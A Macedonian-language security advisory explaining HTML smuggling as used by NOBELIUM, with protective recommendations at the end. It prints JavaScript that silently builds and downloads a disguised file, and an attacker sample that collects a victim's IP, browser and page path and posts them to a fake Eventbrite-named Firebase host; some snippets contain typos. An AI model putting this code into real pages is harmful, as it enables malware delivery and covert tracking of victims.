На крајот на минатата година безбедносните експерти од Menlo Security открија дека за нападите врз SolarWinds напаѓачите користеле „HTML smuggling“. Станува збор за техника која тешко се открива, а користи легитимни функционалности на HTML и JavaScript. Од крајот на минатата година HTML smuggling се користи за „испорака“ на малициозен банкарски код; тројанци за далечински пристап (RAT); и слични алатки за таргетирани напади.
Како функционира HTML smuggling нападот…
Како што покажува и самото име на нападот, HTML smuggling е техника која на напаѓачот му овозможува да скрие малициозна скрипта во HTML attachment или во веб-страница. Кога жртвата ќе го отвори атачментот или страницата, прелистувачот ја декодира скриптата која го составува пакетот за напад. Ова овозможува со нападот да се „прескокне“ firewall-заштитата и малициозниот код да биде составен директно во мрежата.
По инсталирањето на малициозниот код напаѓачот има пристап и контрола врз заразената машина и може да се движи странично по компромитирана мрежа.
„Оваа техника е тешка за спречување затоа што може да ги заобиколи стандардните безбедносни контроли на влезот, како што се web proxies или email gateways, кои вообичаено проверуваат само фајлови со сомнителни екстензии (на пример, EXE, ZIP или DOCX) или сообраќај базиран на сигнатури и патерни. Бидејќи малициозните фајлови се создаваат дури откако HTML-фајлот е вчитан на крајната локација преку прелистувачот, она што решенијата за заштита го гледаат на почетокот е безопасен HTML и JavaScript сообраќај, кој може да се маскира за дополнително да се скрие вистинска цел.“, објаснуваат од Microsoft.
Специфично за овие напади е користење на „download“-атрибутот во „anchor“-таговите.
Од примерот кој го користи Microsoft:
Кодот подолу му дава инструкција на прелистувачот да го преземе „malicious.docx“-фајлот и да го зачува како „safe.docx“.
<a href='/malware/malicious.docx" download="safe.docx">Click</a>
JavaScript екививалент на кодот е:
var sampleAnchor = document.createElement(‘a’);
sempleAnchor.download = ‘safe.docx’;
Во HTML smuggling нападите наместо да се креира линк кој потоа корисникот ќе го отвори, па фајлот ќе биде преземен, фајлот автоматски се презема која ќе биде извршен JavaScript код. На пример:
var maliciuosBlob = new Blob([maliciousFile], {type:’octet/stream’});
var fakeSafeUrl = window.URL.createObjectURL(maliciousBlob);
sampleAnchor.href=fakeSafeURL;
sampleAnchor.click();
Линковите до HTML smuggling страницата се вклучени во имејл пораката или целата страница е додадена како „attachment“.
Иако за преземањето на малициозниот код е автоматизирано потребно е интеракција со корисниците. На пример за да се скрие кодот често се користат фајлови кои се заштитени со лозинка. Со ова се заобиколува заштитата, но корисникот мора да внесе лозинка за активирање. Често овие лозинки се дел од пораките или страниците од кои се преземаат фајловите. Штом корисникот ќе ја внесе лозинката се извршува ЈavaScript кодот.
Напаѓачите користат што HTML и JavaScript имаат секојдневна легитимна функционалност кoја корисниците секојдневно ја користат. Наједноставниот начин за да креира безбедна мрежа од овој напад е да се исклучат сите JavaScript функционалности. Сепак ова ќе спречи и нормално функционирање на деловните страници и легитимни веб-страници. Иако забраната за JavaScript ќе го отежни нападот има начини на кој може да се скријат скриптите што нема во целост да ја исклучи опасноста од нападите.
Пример од HTML smuggling напад
Microsoft сподели пример кој колективот NOBELIUM го користи за овие напади. Најпрво преку „spear-phishing“ имејл кампањи доаѓаат до посакуваната жртва. Праќаат имејл со „attachment“. Штом корисникот го отвори на дискот се креира ISO фајл, а жртвата добива порака со охрабрување да го отвори фајлот. Ако жртвата го твори фајлот, ISO-то автоматски се „маунтува“ како екстерен или мрежен диск; шорткат (LNK) ќе изврши DLL фајл што резултира со „Cobalt Strike Beacon payload“.
Пример на кодот
try {
let sdfgfghj = '';
let kjhyui = new XMLHttpRequest();
kjhyui.open('GET', 'https://api.ipify.org/?format=jsonp?callback=?', false);
kjhyui.onreadystatechange = function (){
sdfgfghj = this.responseText;
}
kjhyui.send(null);
let ioiolertsfsd = navigator.userAgent;
let uyio = window.location.pathname.replace('/','');
var ctryur = {'io':ioiolertsfsd,'tu':uyio,'sd':sdfgfghj};
ctryur = JSON.stringify(ctryur);
let sdfghfgh = new XMLHttpRequest();
sdfghfgh.open('POST', 'https://eventbrite-com-default-rtdb.firebaseio.com/root.json', false);
sdfghfgh.setRequestHeader('Content-Type', 'application/json');
sdfghfgh.send(ctryur);
} catch (e) {}
Заштита
МКД-ЦИРТ ги дава следниве препораки за заштита од HTML smuggling и други напади:
- Сегментирање на мрежите за ограничување на способноста на напаѓачот да се движи странично.
- Користење услуги како Microsoft Windows Attack Surface Reduction, што ги штити машините на ниво на ОС од извршување на малициозни скрипти и создавање невидливи child процеси.
- Правилно сетирање на firewall-заштита за да се блокира сообраќајот од познатите малициозни домени или IP адреси.
- Обука на корисниците… Овие нападите за да се зарази машината бараат интеракција со корисникот. Затоа секој треба да знае како да открие сомнително однесување и најчесто користени „трикови“ на напаѓачите.